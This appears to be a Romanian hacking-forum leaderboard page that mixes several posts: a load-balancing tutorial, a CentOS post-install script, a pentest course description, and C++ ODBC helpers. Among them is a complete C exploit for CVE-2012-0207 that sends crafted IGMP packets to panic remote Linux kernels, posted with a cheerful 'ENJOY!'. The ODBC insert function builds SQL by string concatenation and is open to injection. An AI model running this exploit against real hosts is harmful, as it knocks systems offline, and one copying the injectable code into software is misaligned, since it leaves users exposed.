Leaderboard
Popular Content
Showing content with the highest reputation on 01/17/12 in all areas
-
Ce este load balancing? Impartirea incarcarii serverelor reprezinta distribuirea anumitor procese si comunicatii pe mai multe servere pentru ca nici unul din ele sa nu ajunga sa fie supraincarcat. In general, siturile cu foarte multa activitate folosesc mai multe servere care contin aceeasi informatie. Vizitatorii sunt distribuiti pe toate serverele, pentru a evita supraincarcarea unuia dintre ele. In acest tutorial o sa va prezint mai multe solutii de load balancing utilizand aplicatii open source. Exista scule hardware care fac lucrul asta, insa pe multi bani, si de multe ori o sa vedeti ca o combinatie de genul FreeBSD+Haproxy sau nginx depaseste cu mult specificatiile unui load balancer hardware care ajunge la un pret foarte mare. Folosire nginx ca load balancer: In ciuda faptului ca nu este conceput pentru asta, nginx are suport pentru load balancing. De exemplu, puteti face un server pe care sa-l utilizati ca load balancer, iar in spatele acestuia se pot pune un numar nelimitat de servere web (o sa le numim generic "nodes"). In exemplul de mai jos, 10.0.0.8, 10.0.0.9, 10.0.0.10 si 10.0.0.11 reprezinta serverele web ce se afla in spatele balancerului. Numarul de requesturi primite de nginx se vor distribui in mod egal catre aceste servere. Pentru a fi usor observate sectiunile ce constituie subiectul acestui tutorial, am sa le fac de culoare rosie. Restul de valori din acest exemplu de configuratie sunt pur informative si au fost puse pentru a vedea ordinea si a va da seama mai bine cum se configureaza. user nobody; worker_processes 6; timer_resolution 200ms; worker_rlimit_nofile 240000; events { use kqueue; worker_connections 22000; } http { include mime.types; default_type application/octet-stream; reset_timedout_connection on; msie_padding off; sendfile on; keepalive_requests 100; keepalive_timeout 5; tcp_nopush off; tcp_nodelay on; server_tokens off; send_timeout 3; client_max_body_size 1024m; client_body_buffer_size 128k; client_header_buffer_size 64k; proxy_connect_timeout 120; proxy_send_timeout 120; proxy_read_timeout 120; proxy_buffer_size 16k; proxy_buffers 4 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; gzip on; gzip_min_length 1000; gzip_buffers 4 8k; gzip_static off; gzip_comp_level 9; gzip_proxied expired no-cache no-store private auth; gzip_types text/plain text/css text/xml application/xml text/javascript application/x-javascript; [COLOR="#FF0000"]upstream backends { server 10.0.0.8; server 10.0.0.9; server 10.0.0.10; server 10.0.0.11; }[/COLOR] server { listen 0.0.0.0:80 default rcvbuf=32000 sndbuf=46000 backlog=1000 accept_filter=httpready accept_filter=dataready; server_name _; # Main location location / { [COLOR="#FF0000"]proxy_pass http://backends;[/COLOR] proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location /status { stub_status on; access_log off; } } } In cazul in care doriti sa implementati si failover pe noduri (lucru recomandat), aveti la indemana optiunile "max_fails" si "fail_timeout". Sa spunem ca dorim sa nu mai fie trimise requesturi catre serverul cu adresa ip 10.0.0.10 in cazul in care este nefunctional (dupa ce face fail de 3 ori cu timeout de 20 de secunde). Exemplu: upstream backends { server 10.0.0.8; server 10.0.0.9; server 10.0.0.10 max_fails=3 fail_timeout=20; server 10.0.0.11; } Load balancer cu haproxy: Daca nu ati auzit pana acum de haproxy sau nu ati folosit, va recomand sa cititi cate ceva despre el. Combinatia FreeBSD+haproxy poate inlocui cu succes un load balancer comercial care ajunge la costuri de multe zero-uri in euro. Pagina oficiala haproxy este HAProxy - The Reliable, High Performance TCP/HTTP Load Balancer. Pentru documentatie, va invit sa vizitati HAProxy - The Reliable, High Performance TCP/HTTP Load Balancer In exemplul de mai jos, am sa va arat un fisier de configurare ("haproxy.conf"), similar cu exemplul din tutorialul de mai sus, "Folosire nginx ca load balancer". Adresele IP 10.0.0.2, 10.0.0.3, 10.0.0.4, 10.0.0.5, 10.0.0.6, 10.0.0.7, 10.0.0.8 si 10.0.0.9 sunt nodurile balancerului (serverele web) iar 10.0.0.1 este adresa ip a balancerului, cea pe care vom primi request-urile. Am "botezat" nodurile acestui balancer cu numele planetelor din sistemul solar ;-) Puteti vedea aici un screenshot cu pagina de status de la haproxy. global log 127.0.0.1 local0 maxconn 280000 user nobody group nobody nbproc 8 # Number de procesoare (fizice) pidfile /var/run/haproxy.pid daemon defaults mode http option httpclose option abortonclose option httplog option dontlognull option httpclose retries 3 maxconn 240000 monitor-uri /haproxy-ping option redispatch contimeout 5000 clitimeout 50000 srvtimeout 50000 listen HTTP_SERVERFARM 10.0.0.1:80 mode http retries 3 option redispatch maxconn 36000 contimeout 5000 clitimeout 50000 srvtimeout 50000 option httpclose option forwardfor # This sets X-Forwarded-For balance roundrobin # Load Balancing algorithm stats enable stats uri /balancer-status monitor-uri /haproxy-ping option httpchk server MERCURY 10.0.0.2:80 weight 1 maxconn 3000 check inter 160000 server VENUS 10.0.0.3:80 weight 1 maxconn 3000 check inter 160000 server EARTH 10.0.0.4:80 weight 1 maxconn 3000 check inter 160000 server MARS 10.0.0.5:80 weight 1 maxconn 3000 check inter 160000 server JUPITER 10.0.0.6:80 weight 1 maxconn 3000 check inter 160000 server SATURN 10.0.0.7:80 weight 1 maxconn 3000 check inter 160000 server URANUS 10.0.0.8:80 weight 1 maxconn 3000 check inter 160000 server NEPTUNE 10.0.0.9:80 weight 1 maxconn 3000 check inter 160000 Load balancing cu packet filter pe FreeBSD: In acest scurt tutorial nu am sa scriu despre load balancing-ul unor multiple conexiuni la internet, si am sa ma rezum strict la load balancing-ul serverelor web. Packet filterul suporta nativ definirea unei ferme de servere web catre care pot distribui request-urile venite. De asemenea, suporta metodele "round-robin" si "sticky-address" Round-Rubin reprezinta o tehnica de load balancing prin care cererile sunt plasate/trimise catre o ferma de noduri. De exemplu, sa presupunem ca o companie detine un site foarte mare si doreste sa-l gazduiasca pe trei servere. In fata acestor servere o sa vina configurat un load balancer, care va distribui cererile sosite pe port 80 catre cele trei servere. In cazul "round-rubin", cand un utilizator va accesa site-ul web, requesturile acestuia vor fi trimise catre primul server, al II-lea utilizator va fi trimis catre al II-lea server iar al III-lea vizitator ce va accesa site-ul va fi trimis catre serverul al III-lea. Restul de requesturi de la utilizatori o sa fie trimise in acelasi mod catre noduri, pana lista (coada de asteptare) va ajunge la capat. Sticky-Address reprezinta un procedeu in care request-urile venite de la aceeasi sursa, vor fi trimise catre aceeasi destinatie (same-path). Acest procedeu persista atata timp cat sunt "states" (sesiuni tcp) in lista de asteptare. Mai exact: Conexiunile de la o SURSA UNICA vor fi trimise catre acelasi server web (node). In exemplul de mai jos, am sa definesc serverele web cu adresele IP: 10.0.0.2, 10.0.0.3, 10.0.0.4, iar configuratia o sa vina facuta pe serverul folosit ca load balancer (server care va avea configurata o adresa IP publica, pe care va primi cererile de la vizitatori) ext_if = "bce0" webservers = "{ 10.0.0.2, 10.0.0.3, 10.0.0.4 }" rdr on $ext_if inet proto tcp from any to $ext_if port 80 -> $webservers round-robin sticky-address Nota: Nu se poate face failover. Load balancing cu apache: Utilizand apache, se poate face load balancing cu ajutorul modulelor mod_proxy si mod_proxy_balancer. Algoritmii de balansare sunt: Request Counting, Weighted Traffic Counting si Pending Request Counting. Acesti alogoritmi de balansare pot fi controlati prin lbmethod. lbmethod=byrequests pentru "Request Counting Algorithm" lbmethod=bytraffic pentru "Weighted Traffic Counting Algorithm" lbmethod=bybusyness pentru "Pending Request Counting Algorithm" O sa definesc in exemplul de mai jos, nodurile cu 10.0.0.2, 10.0.0.3, 10.0.0.4 <Proxy balancer://webcluster> BalancerMember http://10.0.0.2:80 BalancerMember http://10.0.0.3:80 BalancerMember http://10.0.0.4:80 </Proxy> ProxySet lbmethod=byrequests ProxyPreserveHost on ProxyRequests Off ProxyPass / balancer://webcluster ProxyPassReverse / balancer://webcluster Puteti citi mai multe despre mod_proxy_balancer pe mod_proxy_balancer - Apache HTTP Server Nota: Va recomand apache worker pentru load balancing cu apache. Apache prefork este un mare consumator de resurse. Limitati-va doar la modulele absolut necesare. ------------------------------------------------ Note: - Daca folositi o parte din acest tutorial pe alt site, va rog sa specificati link-ul original: <a href="https://rstforums.com/forum/topic/43853-http-load-balancing/" target="_blank" title="Tutorial HTTP Load Balancing">Tutorial HTTP Load balancing</a> Ar fi de preferat sa cereti permisiunea unui admin dupa RST daca doriti sa luati un tutorial de aici pentru alt site. (Multumesc) - In cazul in care aveti ceva de intrebat (la obiect), puteti pune intrebarile in acest thread. Va rog sa va limitati la subiect.2 points
-
Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36) /* ** linux-undeadattack.c ** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36) ** CVE-2012-0207 ** credits to Ben Hutchings: ** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html ** written By Kingcope ** Year 2012 ** Ripped & modified code written by Firestorm ** Tested against * OpenSuSE 11.4 system ** * Recent Ubuntu Distro ** ** Example: ** ./undeadattack 192.168.2.16 192.168.2.3 ** The Linux Kernel at the remote side will Panic ** when sent over the network :> ** ENJOY! */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <netinet/in.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> struct iphdr { unsigned char ihl:4, version:4, tos; unsigned short tot_len, id, frag_off; unsigned char ttl, protocol; unsigned short check; unsigned int saddr, daddr; unsigned int options1; unsigned int options2; }; struct igmp_query { unsigned char type; unsigned char maxresponse; unsigned short csum; unsigned int mcast; char padding[40]; }; unsigned short in_chksum(unsigned short *, int); long resolve(char *); long resolve(char *host) { struct hostent *hst; long addr; hst = gethostbyname(host); if (hst == NULL) return(-1); memcpy(&addr, hst->h_addr, hst->h_length); return(addr); } int main(int argc, char *argv[]) { struct sockaddr_in dst; struct iphdr *ip; struct igmp_query *igmp; long daddr, saddr; int s, i=0, c, len, one=1; char buf[1500]; if (argc < 3) { printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n" "credits to Ben Hutchings\nwritten by Kingcope\n" "Ripped & modified code written by Firestorm\n"); printf("Usage: %s <src> <dst>\n", *argv); return(1); } daddr = resolve(argv[2]); saddr = resolve(argv[1]); memset(buf, 0, 1500); ip = (struct iphdr *)&buf; igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)]; dst.sin_addr.s_addr = daddr; dst.sin_family = AF_INET; ip->ihl = 7; ip->version = 4; ip->tos = 0; ip->tot_len = htons(sizeof(struct iphdr)+8); ip->id = htons(18277); ip->frag_off=0; ip->ttl = 1; ip->protocol = IPPROTO_IGMP; ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr)); ip->saddr = saddr; ip->daddr = daddr; ip->options1 = 0; ip->options2 = 0; igmp->type = 0x11; igmp->maxresponse = 0xff; igmp->mcast=inet_addr("224.0.0.1"); igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero. igmp->csum=in_chksum((unsigned short *)igmp, 8); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) return(1); printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]); if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) { perror("Error sending packet"); exit(-1); } close(s); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) return(1); ip->id = htons(18278); ip->tot_len = sizeof(struct iphdr)+12; igmp->type = 0x11; igmp->maxresponse = 0; igmp->mcast=inet_addr("0.0.0.0"); igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero. igmp->csum=in_chksum((unsigned short *)igmp, 12); printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]); if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) { perror("Error sending packet"); exit(-1); } return(0); } unsigned short in_chksum(unsigned short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } Sursa: Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)1 point
-
Nu are rost sa insir pomelnicul de pe mess gen : Faceti afaceri cu el "biznis men"1 point
-
This is the course website for Penetration Testing and Vulnerability Analysis currently taught at the Polytechnic Institute of New York University. This course introduces the fundamental technical skills required to identify, analyze, and exploit software vulnerabilities. Taught by a team of security industry experts, we cover the following topics: Introduction to Penetration Testing, taught by Dan Guido Where the industry is now, where it's going, and how these skills fit in Operational Reviews and Code Audits, taught by Brandon Edwards Identify vulnerabilities and programmer errors by auditing source code Reverse Engineering, taught by Alex Sotirov and Aaron Portnoy Understand, modify, and analyze compiled applications and systems to identify vulnerabilities Exploitation, taught by Dino Dai Zovi Take advantage of vulnerabilities to gain access to restricted data and break security policies Web Hacking, taught by Joe Hemler and Marcin Wielgoszewski Vulnerability discovery and exploitation on the web Network Pentests: Post exploitation, persistence and exfiltration, taught by Colin Ames Expanding access, maintaining persistence, and evading detection Sursa1 point
-
#!/bin/bash ######################################### ####Centos -> 6 <- Post install script### ######################################### ################## ###First update### ################## yum -y update ##################################### ###Flushing default iptables rules### ##################################### /sbin/iptables -F && /sbin/service iptables save ######################################## ###Stop AND disable RPCBIND at reboot### ######################################## /sbin/service rpcbind stop /sbin/chkconfig --level 2345 rpcbind off ##################################### ###Stop And disable CUPS at reboot### ##################################### /sbin/service cups stop /sbin/chkconfig --level 2345 cups off ################### ###Restrict SMTP### ################### /sbin/iptables -A INPUT -p tcp --dport 25 -j DROP /sbin/service iptables save ######################################### ###start sshd AND enable it at startup### ######################################### if [ -x /usr/sbin/sshd ] then /sbin/service sshd start /sbin/chkconfig --level 2345 ssh on else yum -y install openssh-server openssh-clients /sbin/service sshd start /sbin/chkconfig --level 2345 ssh on fi ################################ ###A little BIT ssh Securetty### ################################ cp /etc/ssh/sshd_config /etc/ssh/sshd_config.org sed -i '/TcpForward/d' /etc/ssh/sshd_config echo AllowTcpForwarding no >> /etc/ssh/sshd_config sed -i '/PermitRootLogin/d' /etc/ssh/sshd_config echo PermitRootLogin no >> /etc/ssh/sshd_config sed -i '/StrictModes/d' /etc/ssh/sshd_config echo StrictModes yes >> /etc/ssh/sshd_config sed -i '/UsePrivilegeSeparation/d' /etc/ssh/sshd_config echo UsePrivilegeSeparation yes >> /etc/ssh/sshd_config sed -i '/MaxAuthTries/d' /etc/ssh/sshd_config echo MaxAuthTries 2 >> /etc/ssh/sshd_config kill -HUP `cat /var/run/sshd.pid` ################################################# ####Disable Splash , make startup more verbose### ################################################# cp /etc/grub.conf /etc/grub.conf.org sed -i 's/quiet//g' /etc/grub.conf sed -i 's/rhgb//g' /etc/grub.conf ######################################## ###Webserver uncomment "#" to install### ######################################## #yum -y install httpd #cp /etc/httpd/conf/httpd.conf ~/httpd.conf.backup #/sbin/service httpd start #/sbin/chkconfig --levels 235 httpd on ############################################# ###Database Mysql uncomment "#" to install### ############################################# #yum -y install mysql-server #echo skip-networking >> /etc/my.cnf #/sbin/service mysqld start #/sbin/chkconfig --levels 235 mysqld on ################################### ###PHP uncomment "#" to install ### ################################### #yum -y install php php-mysql #/sbin/service httpd reload ####################################### ###Optional uncomment "#" to install### ####################################### #Add EPEL Repository Extra Packages for Enterprise Linux #rpm -Uvh http://download.fedora.redhat.com/pub/epel/6/i386/epel release-6-5.noarch.rpm #yum repolist ################################################# ###Install Korn Shell uncomment "#" to install### ################################################# #yum -y install ksh ##################################################################### ####Change default Root shell to /bin/ksh uncomment "#" to install### ##################################################################### #chsh -s /bin/ksh #################################################################### ###Create the configuration file for ksh uncomment "#" to install### #################################################################### #touch $HOME/.kshrc #touch $HOME/.ksh_history # echo -e 'set -o vi\ncd $HOME\nPS1="[`logname`@`hostname -s`]# "\nHISTSIZE=10000\nHISTFILE=$HOME/.ksh_history\nexport HISTFILE\nexport HISTSIZE' > $HOME/.kshrc #source $HOME/./.kshrc clear echo "[+]Secure /etc/php.ini file if you have installed PHP" echo "[+]Secure /etc/httpd/conf/httpd.conf file if you have installed httpd" echo "[+]Secure your mysql please run mysql_secure_installation script " echo "[+]Create Strong login password" ######### ###END### ######### Download wget http://sprunge.us/ZgUK -O post-install-centos6.bash1 point
-
In urma cu ceva timp am facut un mic tutorial pentru conectarea la un fisier ms acces aflat pe hard. Tutorialul respectiv aici. La scurt timp am incercat sa fac si o mica clasa pentru a incapsula cateva operatii standard de care aveam eu nevoie atunci si anume insertie si selectie, clasa poate fi gasita aici. Problema cu clasa respectiva este ca are un memory leak destul de mare, ea necuratand dupa fiecare statement si conexiune. Asa am ajuns la concluzia ca un set mic de functii fiecare cu propria ei conexiune si clean up aferent ar functiona mai bine. Mai jos aveti fisierele necesare utilizarii lor cu explicatia pentru fiecare. Pentru utilizarea lor aveti nevoie sa legati libraria odbc32 furnizata de compilatorul vostru. Pentru codeblocks aceasta este libodbc32.a Am incercat sa le comentez pe cat posibil. Daca gasiti erori in ele spuneti-mi pentru a le rezolva. Nu ar trebuii sa mai existe nici un fel de memory leak in ele deci ar trebuii sa fie destul de sigure in utilizare pentru proiecte simple. Aceste clase pot fi folosite atat pentru proiecte cmd cat si gui(eu le folosesc pentru un proiect in wxWidgets fara probleme) functii_odbc.h #ifndef FUNCTII_ODBC_H_INCLUDED #define FUNCTII_ODBC_H_INCLUDED #include <iostream> #include <string> #include <sstream> #include <fstream> #include <vector> #include <windows.h> #include <sql.h> #include <sqlext.h> int select(std::string dns, int numarCampuri, std::string querry, std::vector<std::vector< std::string> >& array, std::string& erroare); void getErrors(SQLSMALLINT type,SQLHANDLE handle, std::string& error); void freeDbResources(HSTMT& hStmt, HENV& hEnv, HDBC& hDbc); int insert(std::string dns, std::string num_Tabel, std::vector<std::string> Campuri, std::vector<std::string> Valori, std::string& error); #endif // FUNCTII_ODBC_H_INCLUDED functii_odbc.cpp #include "functii_odbc.h" /** * Lista argumente: * string dns = adresa fisierului acces mdb/accdb pe hard-disk * numarCampuri = numarul de campuri care urmeaza a fi selectate prin querry-ul respectiv * vector<vector<string> >& array = este un vector de vectori de stringuri, trimis prin referinta care va contine datele extrase * in felul urmator: array[0][0] va fi prima coloana returnata pe primul rand * array[0][1] va fi a 2-a coloana * array[0][2] va fi a 3-a coloana smd * iar array[x][0], x va desemna randul de date extrase * string& eroare = va contine mesajele de eroare, in situatia in care apare o eroare in executia functiei sau a querry-ului atunci aceasta va fi salvata in acest string * Functia are doar 2 valori de return 1 = succes in executarea querry-ului, sau -1 eroare * Functia face doar cateva verificari de baza in privinta corectitudinii querry-ului * De asta trebuie sa se asigure utilizatorul inainte * Functia va verifica doar daca exista un posibil insert in querry caz in care iese. */ using namespace std; int select(string dns, int numarCampuri, string querry, vector<vector<string> >& array, string& erroare) { if(querry.find("SELECT") == string::npos || querry.find("INSERT") != string::npos) { erroare = "Nu ai introdus o comanda de select;"; } else { SQLCHAR valoareCustomers[numarCampuri][128]; HSTMT querryStmt; string tempNume; int retCode[numarCampuri]; HENV hEnv; HDBC hDbc; RETCODE rc; int len = querry.size(); char szConnStrOut[255]; int iConnStrLength2Ptr; char szDSN[256] = "Driver={Microsoft Access Driver (*.mdb)};DSN='';DBQ="; unsigned char* statementQuerry = (unsigned char*)querry.c_str(); //vStrArray.clear(); // golim vectorul primit ca container de output (este datoria utilizatorului sa se asigure ca nu are nimic important in vector inainte de a fi trimis acestei functii strcat(szDSN, dns.c_str()); rc = SQLAllocEnv(&hEnv); if(!SQL_SUCCEEDED(rc)) { erroare = "Nu am putut aloca Envorimentul."; cout << "Nu am putut aloca envorimentul."; freeDbResources(querryStmt, hEnv, hDbc); return -1; } rc = SQLAllocConnect(hEnv, &hDbc); if(!SQL_SUCCEEDED(rc)) { erroare = "Nu am putut aloca conexiunea."; cout << "Nu am putut aloca conexiunea."; freeDbResources(querryStmt, hEnv, hDbc); return -1; } rc = SQLDriverConnect(hDbc, NULL, (SQLCHAR*)szDSN, SQL_NTS, (SQLCHAR*)szConnStrOut, 255, (SQLSMALLINT*)&iConnStrLength2Ptr, SQL_DRIVER_NOPROMPT); if(!SQL_SUCCEEDED(rc)) { getErrors(SQL_HANDLE_DBC , hDbc, erroare); freeDbResources(querryStmt, hEnv, hDbc); return -1; } rc = SQLAllocStmt(hDbc, &querryStmt); if(!SQL_SUCCEEDED(rc)) { erroare = "Nu am putut aloca statementul."; cout << "Nu am putut aloca statementul."; freeDbResources(querryStmt, hEnv, hDbc); return -1; } rc = SQLPrepare(querryStmt, statementQuerry, SQL_NTS); if(!SQL_SUCCEEDED(rc)) { erroare = "Nu am putut pregatii statementul."; cout << "Nu am putut pregatii statementul."; freeDbResources(querryStmt, hEnv, hDbc); return -1; } for(int i = 0; i < numarCampuri; i++) { rc = SQLBindCol(querryStmt, (i + 1), SQL_C_CHAR, valoareCustomers[i], 128, (SQLINTEGER*)&retCode[i]); if(!SQL_SUCCEEDED(rc)) { erroare = "Nu am putut bindui coloana."; cout << "Nu am putut bindui coloana."; freeDbResources(querryStmt, hEnv, hDbc); return -1; } } cout << endl << endl << statementQuerry << endl; rc = SQLExecute(querryStmt); if(SQL_ERROR == rc || SQL_SUCCESS_WITH_INFO == rc) { cout << "Eroare in executare statement, sau SQL_SUCCESS_WITH_INFO"; erroare = "Eroare in executare statement, sau SQL_SUCCESS_WITH_INFO"; getErrors(SQL_HANDLE_STMT, querryStmt, erroare); return -1; } else if(SQL_NEED_DATA == rc) { cout << "SQL_NEED_DATA."; erroare = "SQL_NEED_DATA."; getErrors(SQL_HANDLE_STMT, querryStmt, erroare); return -1; } else if(SQL_STILL_EXECUTING == rc) { cout << "SQL_STILL_EXECUTING."; erroare = "SQL_STILL_EXECUTING."; getErrors(SQL_HANDLE_STMT, querryStmt, erroare); return -1; } else if(SQL_NO_DATA == rc) { cout << "SQL_NO_DATA."; erroare = "SQL_NO_DATA."; getErrors(SQL_HANDLE_STMT, querryStmt, erroare); return -1; } else if(SQL_INVALID_HANDLE == rc) { cout << "SQL_INVALID_HANDLE."; erroare = "SQL_INVALID_HANDLE"; getErrors(SQL_HANDLE_STMT, querryStmt, erroare); return -1; } rc = SQLFetch(querryStmt); if(SQL_SUCCESS == rc) { while(SQL_SUCCEEDED(rc)) { vector<string> vString; string temp; for(int i = 0; i < numarCampuri; i++) { temp = (char*)valoareCustomers[i]; vString.push_back(temp); } array.push_back(vString); rc = SQLFetch(querryStmt); } freeDbResources(querryStmt, hEnv, hDbc); return 1; } else if(SQL_SUCCESS_WITH_INFO == rc || SQL_ERROR == rc) { cout << "Nu am putut executa SQLFetch.\n"; cout << "Nu am putut executa SQLFetch.\n"; getErrors(SQL_HANDLE_STMT, querryStmt, erroare); freeDbResources(querryStmt, hEnv, hDbc); return -1; } else if(SQL_STILL_EXECUTING == rc) { cout << "Inca se executa statementul.\n"; erroare = "Inca se executa statementul.\n"; freeDbResources(querryStmt, hEnv, hDbc); return -1; } else if(SQL_NO_DATA == rc) { cout << "Nu exista date de returnat.\n"; erroare = "Nu exista date de returnat.\n"; freeDbResources(querryStmt, hEnv, hDbc); return -1; } } return -1; } /** * Functia preia prin referinta handle-urile pentru conexiune, mediu si statement si le elibereaza */ void freeDbResources(HSTMT& hStmt, HENV& hEnv, HDBC& hDbc) { SQLFreeStmt(hStmt, SQL_UNBIND); SQLFreeHandle(SQL_HANDLE_STMT, hStmt); SQLDisconnect(hDbc); SQLFreeHandle(SQL_HANDLE_DBC, hDbc); SQLFreeHandle(SQL_HANDLE_ENV, hEnv); } /** * Functia preia datele necesare pentru a putea prelua o eroare legata de un handle pentru conexiune, statement sau mediu * SQLSMALLINT type poate fi: QL_HANDLE_DBC, SQL_HANDLE_DBC_INFO_TOKEN, SQL_HANDLE_DESC, SQL_HANDLE_ENV, SQL_HANDLE_STMT * SQLHANDLE handle va fi de fapt handle-ul pentru care aven nevoie sa preluam eroarea * string& eroare = va tine textul erori * Functia preia doar erorile care pot fi preluate prin SQLGetDiagRec. * Mai multe informatii despre SQLGetDiagRec aici: http://msdn.microsoft.com/en-us/library/windows/desktop/ms716256(v=vs.85).aspx */ void getErrors(SQLSMALLINT type,SQLHANDLE handle, string& eroare) { SQLINTEGER i = 1; SQLINTEGER native; // codul nativ al erori ( depinde de sistemul de operare si de driver SQLCHAR state[7]; // starea driverului mai multe informatii despre state : http://msdn.microsoft.com/en-us/library/windows/desktop/ms716412(v=vs.85).aspx SQLCHAR text[256]; // textul erori SQLSMALLINT len; // marimea textului erori SQLRETURN ret; // stocheaza raspunsul functiei SQLGetDiagRec ret = SQLGetDiagRec(type, handle, i, (SQLCHAR*)state, &native, (SQLCHAR*)text, sizeof(text), &len ); if(SQL_SUCCESS == ret || SQL_SUCCESS_WITH_INFO == ret) { stringstream buffer(stringstream::in | stringstream::out); string temp; eroare = "Eroare:\n"; eroare.append("State: "); cout << "State: " << state << endl; buffer << state; buffer >> temp; eroare.append(temp); buffer.flush(); string temp3((char*)text); eroare.append("\nTextul eroarei: "); eroare.append(temp3); buffer.flush(); cout << "Textul erori: " << text << endl; } else if(SQL_ERROR == ret) { eroare = "eroare Raporting: SQLGetDiagRec returneaza o eroare.\n"; } else if(SQL_INVALID_HANDLE == ret) { eroare = "eroare Raporting: Handleul furnizat pentru preluarea erori a fost incorect.\n"; } else if(SQL_NO_DATA == ret) { eroare = "eroare Raporting: Nu au fost date de returnat.\n"; } } /** * Lista argumente: * string dns = adresa pe disk a fisierului access * string num_Tabel = numele tabelului in care se face inserarea * vector<string> Campuri = Un vector ce contine campurile in care se va face inserarea * vector<string> Valori = Un vector cu valorile ce vor fi introduse in fiecare camp * string& eroare va tine textul oricarei posibile erori * Pentru cei doi vectori marimea lor trebuie sa fie identica. * Exemplu Campuri va contine stringurile "Nume", "Prenume" "telefon" * vectorul Valori va contine "ION", "VASILE", "02345241590" * Functia are doar 2 valori de return 1 = succes in inserarea datelor, sau -1 eroare */ int insert(string dns, string num_Tabel, vector<string> Campuri, vector<string> Valori, string& eroare) { //Incepem pregatirea statmentului string comanda = "INSERT INTO "; string comanda2 = ") VALUES ('"; string comanda3 = ");"; string campuri_tabel; string campuri_valori; //verificam daca numarul de campuri si de valori e identic if(Campuri.size() != Valori.size()) { eroare = "Numarul de campuri si de valori nu este identic. Pentru ca inserarea sa se poata efectua este necesar ca cele 2 sa fie identice.\n"; return -1; } // pregatim lista cu campurile in care se introduc datele for(unsigned int i = 0; i < Campuri.size(); i++) { if(i == (Campuri.size() - 1)) { campuri_tabel.append(Campuri[i]); //campuri_tabel.append(")"); } else { campuri_tabel.append(Campuri[i]); campuri_tabel.append(", "); } } // pregatim lista cu valorile de introdus for(unsigned int i = 0; i < Valori.size(); i++) { if(i == (Valori.size() - 1)) { campuri_valori.append(Valori[i]); campuri_valori.append("'"); } else { campuri_valori.append(Valori[i]); campuri_valori.append("', '"); } } string sql_statement; sql_statement.append(comanda); sql_statement.append(num_Tabel); sql_statement.append("("); sql_statement.append(campuri_tabel); sql_statement.append(comanda2); sql_statement.append(campuri_valori); sql_statement.append(");"); // am terminat pregatirea statementului // pregatim conexiunea la bd // inceput definitii variabile necesare conexiunii la db HENV hEnv; HDBC hDbc; HSTMT hStmt; RETCODE rc; char szConnStrOut[255]; int iConnStrLength2Ptr; char szDSN[256] = "Driver={Microsoft Access Driver (*.mdb)};DSN='';DBQ="; // incheiere definitii // Initiem conexiunea strcat(szDSN, dns.c_str()); rc = SQLAllocEnv(&hEnv); if(!SQL_SUCCEEDED(rc)) { eroare = "Nu am putut aloca Envorimentul."; cout << "Nu am putut aloca envorimentul."; return -1; } rc = SQLAllocConnect(hEnv, &hDbc); if(!SQL_SUCCEEDED(rc)) { eroare = "Nu am putut aloca conexiunea."; cout << "Nu am putut aloca conexiunea."; return -1; } rc = SQLDriverConnect(hDbc, NULL, (SQLCHAR*)szDSN, SQL_NTS, (SQLCHAR*)szConnStrOut, 255, (SQLSMALLINT*)&iConnStrLength2Ptr, SQL_DRIVER_NOPROMPT); if(!SQL_SUCCEEDED(rc)) { getErrors(SQL_HANDLE_DBC , hDbc, eroare); freeDbResources(hStmt, hEnv, hDbc); return -1; } rc = SQLAllocStmt(hDbc, &hStmt); rc = SQLPrepare(hStmt, (SQLCHAR*)sql_statement.c_str(), SQL_NTS); rc = SQLExecute(hStmt); if(!SQL_SUCCEEDED(rc)) { eroare = "Inserarea nu a putut fi efectuata."; cout << "Inserarea nu a putut fi efectuata."; getErrors(SQL_HANDLE_STMT, hStmt, eroare); freeDbResources(hStmt, hEnv, hDbc); return -1; } else if(SQL_SUCCEEDED(rc)) { freeDbResources(hStmt, hEnv, hDbc); return 1; } return -1; } le: Am sters clasa stringArray deoarece nu mai era necesara, pentru preluarea datelor se foloseste un vector de vectori(definitie vector<vector<string> > numeVector; De asemenea momentan din nu stiu exact ce motiv statementurile care folosesc clausa Like nu returneaza nici un fel de date. Se pare ca clausa Like nu se executa la fel prin odbc cum se executa direct in access. Eventual poate cineva explica de ce se comporta altfel?1 point
-
Cu acordul lui flux, am luat decizia sa postez rezolvarile (in doua variante: una scurta si alta mai lunga), ele sunt valabile mai jos. Eseul simplu: http://pastebin.com/raw.php?i=JXqTdFcEEseul mai complex: http://pastebin.com/raw.php?i=MAQh7wx9 S-ar putea sa mai fie greseli ici pe colo, daca vedeti vreuna anuntati-ma si voi corecta.1 point
-
Nu stiu daca ai observat dar in atasament ai atat sursa cat si executabilul. Pentru a vedea exact unde e eroarea trebuie sa treci prin cod cu pixul in mana pentru ca trebuie sa faci calculele. Eu nu mai tin prea multe minte despre matrici.-1 points
-
